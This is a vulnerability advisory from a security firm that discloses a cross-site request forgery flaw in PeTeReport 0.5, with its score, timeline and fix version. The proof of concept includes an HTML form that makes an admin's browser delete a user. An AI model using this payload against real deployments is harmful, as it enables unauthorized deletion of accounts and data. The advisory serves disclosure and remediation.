PeTeReport 0.5 - Cross-site request forgery

4.3

Medium

Discovered by 

Oscar Uribe

Offensive Team, Fluid Attacks

Summary

Full name

PeTeReport 0.5 - Cross-site request forgery

Code name

State

Public

Release date

Feb 23, 2022

Affected product

PeTeReport

Affected version(s)

Version 0.5

Fixed version(s)

Version 0.7

Vulnerability name

Cross-site request forgery

Remotely exploitable

Yes

CVSS v3.1 vector string

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N/E:X/RL:X/RC:X

CVSS v3.1 base score

4.3

Exploit available

No

Description

PeteReport Version 0.5 contains a Cross Site Request Forgery (CSRF) vulnerability allowing an attacker to trick users into deleting users, products, reports and findings on the application.

Proof of Concept

Steps to reproduce

  1. Create a malicious html file with the following content.

    <html>
    <body>
    <script>history.pushState('', '', '/')</script>
     <!--Change ID -->
     <form action="https://127.0.0.1/configuration/user/delete/:id">
     <input type="submit" value="Submit request" />
     </form>
    </body>
    </html>
  2. If an authenticated admin visits the malicious url, the user with the correspond id will be deleted.

System Information

  • Version: PeteReport Version 0.5.

  • Operating System: Docker.

  • Web Server: nginx.

Exploit

There is no exploit for the vulnerability but can be manually exploited.

Mitigation

An updated version of PeteReport is available at the vendor page.

References

Timeline

Vulnerability discovered

Feb 7, 2022

Vulnerability patched

Feb 9, 2022

Vendor contacted

Feb 7, 2022

Vendor replied

Feb 9, 2022

Public disclosure

Feb 23, 2022

Start your 21-day free trial

Discover the benefits of our Continuous Hacking solution, which organizations of all sizes are already enjoying.

Start your 21-day free trial

Discover the benefits of our Continuous Hacking solution, which organizations of all sizes are already enjoying.

Start your 21-day free trial

Discover the benefits of our Continuous Hacking solution, which organizations of all sizes are already enjoying.

Fluid Attacks' solutions enable organizations to identify, prioritize, and remediate vulnerabilities in their software throughout the SDLC. Supported by AI, automated tools, and pentesters, Fluid Attacks accelerates companies' risk exposure mitigation and strengthens their cybersecurity posture.

SOC 2 Type II

SOC 3

Subscribe to our newsletter

Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.

© 2025 Fluid Attacks. We hack your software.

Fluid Attacks' solutions enable organizations to identify, prioritize, and remediate vulnerabilities in their software throughout the SDLC. Supported by AI, automated tools, and pentesters, Fluid Attacks accelerates companies' risk exposure mitigation and strengthens their cybersecurity posture.

SOC 2 Type II

SOC 3

Subscribe to our newsletter

Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.

© 2025 Fluid Attacks. We hack your software.

Fluid Attacks' solutions enable organizations to identify, prioritize, and remediate vulnerabilities in their software throughout the SDLC. Supported by AI, automated tools, and pentesters, Fluid Attacks accelerates companies' risk exposure mitigation and strengthens their cybersecurity posture.

SOC 2 Type II

SOC 3

Subscribe to our newsletter

Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.

© 2025 Fluid Attacks. We hack your software.